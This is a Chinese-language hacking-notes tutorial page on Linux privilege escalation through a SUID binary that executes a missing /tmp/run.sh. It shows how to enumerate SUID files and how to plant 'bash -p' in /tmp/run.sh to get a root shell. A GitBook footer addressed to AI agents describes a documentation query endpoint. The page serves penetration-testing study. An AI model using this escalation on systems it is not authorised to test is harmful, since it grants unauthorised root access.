> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-missing-file-linux-privilege-escalation.md).

# SUID 缺失文件 - Linux 权限提升

## 这是什么

SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护文件、启动具有特权的 shell，或执行由攻击者控制的代码。这个特定页面重点关注 **SUID 二进制文件（缺失文件）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
find / -perm -4000 -type f 2>/dev/null
```

## 示例

#### 对具有 SUID 权限的文件进行提权检查：

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/27d685bd5c6a8ff66045d42744905921665bec2c" alt=""><figcaption></figcaption></figure>

运行一个二进制文件，在 /tmp 目录中查找名为“run.sh”的文件，不使用特定路径。

<figure><img src="/files/c78ccfd9e2161d1f627992c6c07507dff976356d" alt=""><figcaption></figcaption></figure>

#### 在 /tmp 中创建“run.sh”文件，并包含以下内容以获取 root shell：

```bash
bash -p
```

<figure><img src="/files/cccfdd601488973a4e1b1209f0b01e4840c4f5ef" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-missing-file-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
